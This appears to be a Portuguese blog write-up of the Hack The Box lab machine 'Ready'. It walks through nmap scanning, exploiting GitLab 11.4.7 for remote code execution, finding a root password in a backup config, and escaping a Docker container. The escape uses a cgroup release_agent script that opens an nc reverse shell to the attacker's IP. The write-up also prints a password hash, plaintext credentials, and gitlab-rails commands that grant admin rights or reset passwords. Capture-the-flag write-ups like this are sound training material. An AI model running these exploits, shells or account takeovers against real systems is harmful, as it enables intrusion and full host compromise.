6 minuto(s) de leitura Read also in :us: Compartilhar

Olá pessoal!

A máquina desta semana será Ready, outra máquina Linux classificada como mediana do Hack The Box, criada por bertolis.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas

HTB Ready

Esta máquina foi bem interessante sua resolução, onde exploramos uma versão vulnerável do GitLab Server e na sequência precisamos escapar do container docker para obter a flag de root.

Enumeração

Como de costume, iniciamos com a enumeração rápida do nmap para identificar os serviços publicados nesta máquina:

$ nmap -sC -sV -Pn -oA quick 10.10.10.220
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 12:05 -03
Nmap scan report for 10.10.10.220
Host is up (0.078s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.65 seconds

5080/TCP - Serviço HTTP

Conforme pode ser visto no resultado do nmap se trata de um serviço GitLab Community. Similar à máquina Laboratory, segui com a criação de uma nova conta para verificar a versão do servidor e eventuais projetos públicos disponíveis.

Após criada a conta, pude comprovar que a versão em execução é a 11.4.7, conforme podemos ver na imagem abaixo.

Gitlab Version

Initial Foothold

Realizando uma busca rápida no searchsploit, identificadas algumas versões de exploit para a versão de GitLab Server identificada.

$ searchsploit gitlab 11.4.7
------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                           |  Path
------------------------------------------------------------------------- ---------------------------------
GitLab 11.4.7 - RCE (Authenticated)                                      | ruby/webapps/49334.py
Gitlab 11.4.7 - Remote Code Execution                                    | ruby/webapps/49257.py
GitLab 11.4.7 - Remote Code Execution (Authenticated)                    | ruby/webapps/49263.py
------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Utilizando o último exploit listado (49334.py) notei que não possuía a opção de fornecer a porta do GitLab Server (vide output abaixo), assim como existe um erro nos parâmetros para recebimento do shell reverso onde foi necesário alterar o parametro local_port para local_port = args.P.

$ python3 49334.py -h                                                                
usage: 49334.py [-h] -u U -p P -g G -l L -P P

GitLab 11.4.7 RCE

optional arguments:
  -h, --help  show this help message and exit
  -u U        GitLab Username/Email
  -p P        Gitlab Password
  -g G        Gitlab URL (without port)
  -l L        reverse shell ip
  -P P        reverse shell port

Adicionalmente, foi necessário alterar o payload utilizado pelo script, que apenas realizava a conexão via nc no endereço e portas especificados, mas nao exportava o /bin/sh, impedindo a interação com a máquina.

Após ajustes, obtido shell com a conta git no diretório ~/gitlab-rails/working

User flag

Após shell inicial, iniciada enumeração fazendo uso do linenum.sh, onde os seguintes pontos chamaram atenção:

  • Execução dentro de container docker, possivelmente sendo necessário futuramente escapar deste para o host.

  • Existe usuário local dude (id=1000), no qual o arquivo user.txt encontra-se em seu home directory.

  • Obtido hash de contas do GitLab Server, onde o usuário root é o único privilegiado, possuindo o seguinte hash de senha:

    username e-mail admin hash
    root admin@example.com true $2a$10$zzun9kmrHMdwsJZKTmwn9OZddFjwrhbaXx3b2eb9l2g.1LrjZo0V2

Com base nas informações acima, ao validar os privilégios necessários para ler o arquivo user.txt, identificado que o usuário corrente (git), possuía acesso, logo obtivemos a flag de usuário.

git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec  7 16:58 .
drwxr-xr-x 1 root root 4096 Dec  2 10:45 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 dude dude  655 May 16  2017 .profile
-r--r----- 1 dude git    33 Dec  2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt
<redacted>

Root flag

O próximo passo seria obter a flag de root. Tendo o hash de senha, conforme observado via enumeração do LinEnum poderíamos realizar o cracking dele usando algum dicionário, porém em buscas realizadas sobre este hash em sites da internet não resultaram em nada, logo deixei essa opção para o final, caso não encontre outro modo.

Durante a enumeração do LinEnum, o seguinte texto é listado junto da listagem das contas:

If you have enough privileges, you can make an account under your control administrator by running: gitlab-rails runner ‘user = User.find_by(email: “youruser@example.com”); user.admin = TRUE; user.save!’ Alternatively, you could change the password of any user by running: gitlab-rails runner ‘user = User.find_by(email: “admin@example.com”); user.password = “pass_peass_pass”; user.password_confirmation = “pass_peass_pass”; user.save!’

Com base nesta informação, segui para o reset da senha do usuário root conforme recomendado, porém nenhum repositório privado ou informação adicional foi encontrada, que pudesse auxiliar na obtenção das credenciais de root.

Uma vez que nao encontrei nenhum processo ou informação para o usuário dude e crackear a senha com base no hash identificado não era uma opção rápida, segui para a enumeração manual, onde acabei encontrando um diretório /opt/backup, que continha diversos arquivos.

Buscando neste diretório por palavras chaves como passwd, password, encontrei uma entrada que chamou atenção no arquivo /opt/backup/gitlab.rb, conforme podemos ver abaixo dentre as linhas comentadas e em branco, removidas utilizando o comando grep listado

git@gitlab:/opt/backup$ cat /opt/backup/gitlab.rb | grep -Ev '^#|^$'
gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
git@gitlab:/opt/backup$

Com a senha encontrada, testado para o usuário root, o que confirmou a validade da credencial, porém no diretório raiz deste usuário não existe um arquivo root.txt, o que indica que precisaremos escapar do container e obter a flag a partir do host docker.

git@gitlab:/opt/backup$ su root
Password:
root@gitlab:/opt/backup# ls -la /root
total 28
drwx------ 1 root root 4096 Feb 27 13:24 .
drwxr-xr-x 1 root root 4096 Dec  1 12:41 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:56 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x 2 root root 4096 Feb 27 13:24 .nano
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwx------ 2 root root 4096 Dec  7 16:49 .ssh
-rw------- 1 root root 1565 Dec 13 15:06 .viminfo
root@gitlab:/opt/backup#

Escapando do container

Uma vez que temos privilégios de root, se o container estiver rodando sob circunstâncias especificas, podemos escapar do mesmo para o host, conforme encontrei a partir de uma pesquisa e extremamente bem documentado no blog Understanding Docker container escapes | Trail of Bits Blog.

Seguindo o passo-a-passo descrito neste blog, criado um listener na porta 4443 TCP na máquina atacante e realizados os seguintes procedimentos com o usuário root no container, obtendo assim um shell reverso.

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Com a conexão recebida, confirmado que estávamos dentro do host executando o comando docker ps e, na sequência, obtido a flag de root.

$ nc -lnvp 4443
listening on [any] 4443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.220] 38246
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# docker ps
CONTAINER ID        IMAGE                          COMMAND             CREATED             STATUS                 PORTS                                   NAMES
7eb263389e5e        gitlab/gitlab-ce:11.4.7-ce.0   "/assets/wrapper"   2 months ago        Up 5 hours (healthy)   22/tcp, 443/tcp, 0.0.0.0:5080->80/tcp   docker-gitlab_web_1
# cat /root/root.txt
<redacted>

Espero que tenham gostado.

Vejo vocês no próximo post! :smile: